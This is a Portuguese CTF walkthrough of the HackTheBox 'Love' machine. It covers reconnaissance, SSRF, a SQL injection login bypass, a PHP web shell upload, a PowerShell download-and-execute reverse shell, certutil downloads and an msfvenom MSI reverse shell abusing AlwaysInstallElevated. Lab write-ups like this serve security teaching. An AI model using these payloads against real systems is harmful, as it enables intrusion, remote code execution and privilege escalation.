> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md).

# Relato do HackTheBox Love

{% embed url="<https://app.hackthebox.com/machines/344>" %}

{% hint style="warning" %}
**Habilidades:**

* Injeção de SQL (SQLI)
* Falsificação de Solicitação do Lado do Servidor (SSRF)
* Abuso de Upload de Arquivos
* Explorando o Sistema de Votação
* Abusando do AlwaysInstallElevated (arquivo msiexec/msi)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/aaaab640bef34274e374a6ceb1c805e94bb0ce45" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/5518ce7db8f4129d09ac43d7023a9c696bd040dd" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:** Explorando portas abertas e exportando no arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts
```

<figure><img src="/files/39ae50439792954f389601f1419b017b5cdef872" alt=""><figcaption></figcaption></figure>

**Análise das portas abertas com extractport:** Uso da função extractport para exibir portas abertas em um formato conciso e copiá-las para a área de transferência.

<figure><img src="/files/bdf917cac22e1470e196c073c455ca365b5ab337" alt=""><figcaption></figcaption></figure>

**Varredura da versão das portas com o Nmap:** Usando o Nmap para escanear a versão das portas e extrair informações no arquivo "targeted":

```bash
nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted
```

<div data-full-width="true"><figure><img src="/files/124fc459a2a0ecaf58671ece631f40a1006de054" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/801022d24dced6b792d1f1da6d5af2ab2671c782" alt=""><figcaption></figcaption></figure></div>

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo

<figure><img src="/files/da81837c672b3573f05ff4b454a64b42ec9f68a3" alt="" width="563"><figcaption></figcaption></figure>

**Procurar diretórios:**

Usamos o Gobuster para procurar diretórios no site:

```bash
gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/e2b40f5ac718dc7679f485f399876e6c0e8249a7" alt=""><figcaption></figcaption></figure>

No `admin` diretório, descobrimos um painel de gerenciamento.

<figure><img src="/files/b2fb30d33a6d78a82e83682fa55776ef1488a986" alt=""><figcaption></figcaption></figure>

## Exploração do Sistema de Votação:

Neste caso, há duas maneiras de operar o painel de gerenciamento do Sistema de Votação:

### 1. Vulnerabilidade SSRF:

A porta 443 revela um `staging.love.htb` subdomínio que adicionamos ao nosso `/etc/hosts` arquivo.

<figure><img src="/files/cd0f23d28a3256cc8050111030a5c6b22625e47c" alt="" width="563"><figcaption></figcaption></figure>

Este site pode escanear sites por meio de uma URL.

<figure><img src="/files/50d6b8f9b8d32c83d045542d2fbee14e1631f9b0" alt=""><figcaption></figcaption></figure>

Ao escanear `localhost:5000` (não disponível de fora), descobrimos credenciais:

`admin: @LoveIsInTheAir!!!!`

<figure><img src="/files/d28fd975cfbc16b5c5193e8a6f4298270c1d3d24" alt=""><figcaption></figcaption></figure>

Observação: Do lado de fora, a mensagem " You don't have permission to access this resource." é exibida, bloqueando o acesso.

<figure><img src="/files/ed6879f8237b7a519b5d2969bf7834735b221fb0" alt="" width="563"><figcaption></figcaption></figure>

### **2. Vulnerabilidade de Injeção SQL (**[**SQLi**](/pt-br/web/sql-injection.md)**) :**

Com `searchsploit` procuramos vulnerabilidades específicas do Sistema de Votação e encontramos o seguinte payload:

<figure><img src="/files/f17b893745e2bec191c6d6658a6268ff62724fab" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/bb61073dfcc354efa1d789910abb46119b515630" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

Usando o Burp Suite, acessamos o painel.

<figure><img src="/files/508c229e681b45129a12ac9a3e4be59bb98f193b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ed985e4b09cab8264c23a98be71f508af8ea0dd6" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade de upload de arquivos:

Uma vez no painel, há uma opção que permite criar um novo usuário. Criamos um `cmd.php` arquivo para executar comandos no servidor:

<figure><img src="/files/7de94e21b3df67f8487ef90d20808303f3f80f4e" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="/files/c93ffa0c2e11d4f2f20b57c78cde0ed67fcfe584" alt="" width="482"><figcaption></figcaption></figure>

O painel não aplica nenhuma verificação de segurança, permitindo-nos injetar comandos (por exemplo, `whoami`). Ao testar um comando ping, verificamos a conexão:

<figure><img src="/files/52b900389d3adee0f59f44bdce389a430ff549a7" alt=""><figcaption></figcaption></figure>

verificaremos se ele consegue executar um ping

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

Como recebemos a resposta, confirmamos a possibilidade de executar comandos na máquina alvo

<figure><img src="/files/84312174b734769f860d7f59e8cf39127aca49a9" alt="" width="563"><figcaption></figcaption></figure>

**Comando PowerShell para shell reversa**

Assim que virmos que podemos executar comandos, baixaremos o `PS.ps1` script para a nossa equipe.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

No final do script, adicionamos a seguinte linha:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="/files/d5e745656c5a381df51d4634a5d2d6bc28fda9a3" alt=""><figcaption></figcaption></figure>

Vamos criar um servidor web com o `PS.ps1` script

```bash
python3 -m http.server 80
```

Em seguida, modificaremos o comando para apontar para o nosso servidor web:

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

Por fim, ouvimos na porta 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/a612770e2a2034d9e3af8e9b226174269b278d16" alt=""><figcaption></figcaption></figure></div>

### Flag user.txt:

<figure><img src="/files/3e51885c24cb34375b6696ba772a88e4f7f4d0e3" alt=""><figcaption></figcaption></figure>

## Escalada de privilégio:

### **Enumeração com winPEASx64.exe** <a href="#enumeration-with-winpeasx64.exe" id="enumeration-with-winpeasx64.exe"></a>

Para realizar a escalada de privilégios em um servidor Windows, primeiro execute a `winPEAS` ferramenta de reconhecimento.

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20220214>" %}

Baixando a ferramenta de reconhecimento WIN-peacex64.exe.

```purebasic
certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe
```

<figure><img src="/files/48ccdb4b45c27307f637a1aebe2071d6ad7a004d" alt=""><figcaption></figcaption></figure>

```powershell
./winPEAS.exe
```

<figure><img src="/files/4323be7d21c98ed40f50041615ed3edff3c0b245" alt=""><figcaption></figcaption></figure>

### Verificando o AlwaysInstallElevated

O `winPEAS` a ferramenta verifica várias configurações de segurança do sistema. Estamos particularmente interessados na `AlwaysInstallElevated` chave do registro. Se essa chave estiver definida como `1` em `HKLM` (HKEY/ LOCAL/ MACHINE), isso indica que todos os `.msi` arquivos podem ser instalados com privilégios elevados, o que é uma vulnerabilidade.

<figure><img src="/files/0ac3bb7666ef5daab3d9ef1130126076f06b3ba6" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated>" %}

**Criar um arquivo .msi para obter uma shell reversa**

Para aproveitar essa vulnerabilidade, vamos criar um `.msi` arquivo que, uma vez executado, nos fornecerá uma shell reversa. Usamos `msfvenom` para gerar esse arquivo:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi
```

**Transferir o arquivo .msi**/ arquivo Após criar o arquivo, devemos transferi-lo para a máquina alvo:

```bash
certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi
```

<figure><img src="/files/9b014217d98aacf164ce7a286aba593991d855f1" alt=""><figcaption></figcaption></figure>

**Escutar na porta 443**/ Antes de executar o `.msi` arquivo, devemos ficar em escuta na porta que especificamos. Vamos usar `nc` (netcat) para isso:

```powershell
rlwrap nc -nlvp 443
```

**Execução do comando de instalação**/ Por fim, executamos o `.msi` arquivo usando `msiexec`, o que aciona a instalação silenciosa:

```powershell
msiexec /quiet /qn /i reverse.msi
```

<figure><img src="/files/64f5366776a327a4022893cbc2938ca0301df37e" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="/files/3771be66e073f2c541772167579f29508ecbcad7" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/cf15fc74a41ffe579fc9ebd8df9cb77bb8e75911" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
